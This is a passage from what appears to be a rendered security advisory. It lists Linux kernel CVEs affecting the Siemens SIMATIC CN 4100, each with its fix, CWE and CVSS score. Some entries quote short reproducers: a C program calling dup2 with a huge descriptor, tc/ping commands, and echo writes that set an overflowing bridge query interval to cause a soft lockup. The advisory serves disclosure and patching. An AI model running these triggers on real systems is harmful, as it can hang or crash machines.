class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39752\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: rockchip: fix kernel hang during smp initialization In order to bring up secondary CPUs main CPU write trampoline code to SRAM. The trampoline code is written while secondary CPUs are powered on (at least that true for RK3188 CPU). Sometimes that leads to kernel hang. Probably because secondary CPU execute trampoline code while kernel doesn't expect. The patch moves SRAM initialization step to the point where all secondary CPUs are powered down. That fixes rarely hangs on RK3188: [ 0.091568] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000 [ 0.091996] rockchip_smp_prepare_cpus: ncores 4\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-364 Signal Handler Race Condition\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39756\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: > 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 > /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (>8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical >8GB memory allocation request.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39757\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 cluster segment descriptors UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too. Otherwise malicious firmware may lead to the unexpected OOB accesses.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39759\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix race between quota disable and quota rescan ioctl There's a race between a task disabling quotas and another running the rescan ioctl that can result in a use-after-free of qgroup records from the fs_info->qgroup_tree rbtree. This happens as follows: 1) Task A enters btrfs_ioctl_quota_rescan() -> btrfs_qgroup_rescan(); 2) Task B enters btrfs_quota_disable() and calls btrfs_qgroup_wait_for_completion(), which does nothing because at that point fs_info->qgroup_rescan_running is false (it wasn't set yet by task A); 3) Task B calls btrfs_free_qgroup_config() which starts freeing qgroups from fs_info->qgroup_tree without taking the lock fs_info->qgroup_lock; 4) Task A enters qgroup_rescan_zero_tracking() which starts iterating the fs_info->qgroup_tree tree while holding fs_info->qgroup_lock, but task B is freeing qgroup records from that tree without holding the lock, resulting in a use-after-free. Fix this by taking fs_info->qgroup_lock at btrfs_free_qgroup_config(). Also at btrfs_qgroup_rescan() don't start the rescan worker if quotas were already disabled.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39760\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: core: config: Prevent OOB read in SS endpoint companion parsing usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size. Fix this up by checking the size first before looking at any of the fields in the descriptor.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39766\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: Make cake_enqueue return NET_XMIT_CN when past buffer_limit The following setup can trigger a WARNING in htb_activate due to the condition: !cl->leaf.q->q.qlen tc qdisc del dev lo root tc qdisc add dev lo root handle 1: htb default 1 tc class add dev lo parent 1: classid 1:1 \\ htb rate 64bit tc qdisc add dev lo parent 1:1 handle f: \\ cake memlimit 1b ping -I lo -f -c1 -s64 -W0.001 127.0.0.1 This is because the low memlimit leads to a low buffer_limit, which causes packet dropping. However, cake_enqueue still returns NET_XMIT_SUCCESS, causing htb_enqueue to call htb_activate with an empty child qdisc. We should return NET_XMIT_CN when packets are dropped from the same tin and flow. I do not believe return value of NET_XMIT_CN is necessary for packet drops in the case of ack filtering, as that is meant to optimize performance, not to signal congestion.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39770\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 (\"net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets\"): \"The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices.\" kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-573 Improper Following of Specification by Caller\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39772\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/hisilicon/hibmc: fix the hibmc loaded failed bug When hibmc loaded failed, the driver use hibmc_unload to free the resource, but the mutexes in mode.config are not init, which will access an NULL pointer. Just change goto statement to return, because hibnc_hw_init() doesn't need to free anything.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39773\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 > /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff > /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a (\"net: bridge: mcast: add and enforce query interval minimum\"), add check for the query interval maximum to fix this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39776\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/debug_vm_pgtable: clear page table entries at destroy_args() The mm/debug_vm_pagetable test allocates manually page table entries for the tests it runs, using also its manually allocated mm_struct. That in itself is ok, but when it exits, at destroy_args() it fails to clear those entries with the *_clear functions. The problem is that leaves stale entries. If another process allocates an mm_struct with a pgd at the same address, it may end up running into the stale entry. This is happening in practice on a debug kernel with CONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra debugging I added (it prints a warning trace if pgtables_bytes goes negative, in addition to the warning at check_mm() function): [ 2.539353] debug_vm_pgtable: [get_random_vaddr ]: random_vaddr is 0x7ea247140000 [ 2.539366] kmem_cache info [ 2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508 [ 2.539447] debug_vm_pgtable: [init_args ]: args->mm is 0x000000002267cc9e (...) [ 2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0 [ 2.552816] Modules linked in: [ 2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY [ 2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries [ 2.552872] NIP: c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90 [ 2.552885] REGS: c0000000622e73b0 TRAP: 0700 Not tainted (6.12.0-105.debug_vm2.el10.ppc64le+debug) [ 2.552899] MSR: 800000000282b033 CR: 24002822 XER: 0000000a [ 2.552954] CFAR: c0000000008f03f0 IRQMASK: 0 [ 2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001 [ 2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff [ 2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000 [ 2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb [ 2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0 [ 2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000 [ 2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001 [ 2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760 [ 2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0 [ 2.553185] LR [c0000000007eef30] free_pud_range+0x8b0/0x8d0 [ 2.553199] Call Trace: [ 2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable) [ 2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0 [ 2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570 [ 2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650 [ 2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290 [ 2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0 [ 2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870 [ 2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150 [ 2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50 [ 2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0 [ 2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec (...) [ 2.558892] ---[ end trace 0000000000000000 ]--- [ 2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1 [ 2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144 Here the modprobe process ended up with an allocated mm_struct from the mm_struct slab that was used before by the debug_vm_pgtable test. That is not a problem, since the mm_stru ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39782\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39783\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Fix configfs group list head handling Doing a list_del() on the epf_group field of struct pci_epf_driver in pci_epf_remove_cfs() is not correct as this field is a list head, not a list entry. This list_del() call triggers a KASAN warning when an endpoint function driver which has a configfs attribute group is torn down: ================================================================== BUG: KASAN: slab-use-after-free in pci_epf_remove_cfs+0x17c/0x198 Write of size 8 at addr ffff00010f4a0d80 by task rmmod/319 CPU: 3 UID: 0 PID: 319 Comm: rmmod Not tainted 6.16.0-rc2 #1 NONE Hardware name: Radxa ROCK 5B (DT) Call trace: show_stack+0x2c/0x84 (C) dump_stack_lvl+0x70/0x98 print_report+0x17c/0x538 kasan_report+0xb8/0x190 __asan_report_store8_noabort+0x20/0x2c pci_epf_remove_cfs+0x17c/0x198 pci_epf_unregister_driver+0x18/0x30 nvmet_pci_epf_cleanup_module+0x24/0x30 [nvmet_pci_epf] __arm64_sys_delete_module+0x264/0x424 invoke_syscall+0x70/0x260 el0_svc_common.constprop.0+0xac/0x230 do_el0_svc+0x40/0x58 el0_svc+0x48/0xdc el0t_64_sync_handler+0x10c/0x138 el0t_64_sync+0x198/0x19c ... Remove this incorrect list_del() call from pci_epf_remove_cfs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39787\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: soc: qcom: mdt_loader: Ensure we don't read past the ELF header When the MDT loader is used in remoteproc, the ELF header is sanitized beforehand, but that's not necessary the case for other clients. Validate the size of the firmware buffer to ensure that we don't read past the end as we iterate over the header. e_phentsize and e_shentsize are validated as well, to ensure that the assumptions about step size in the traversal are valid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div 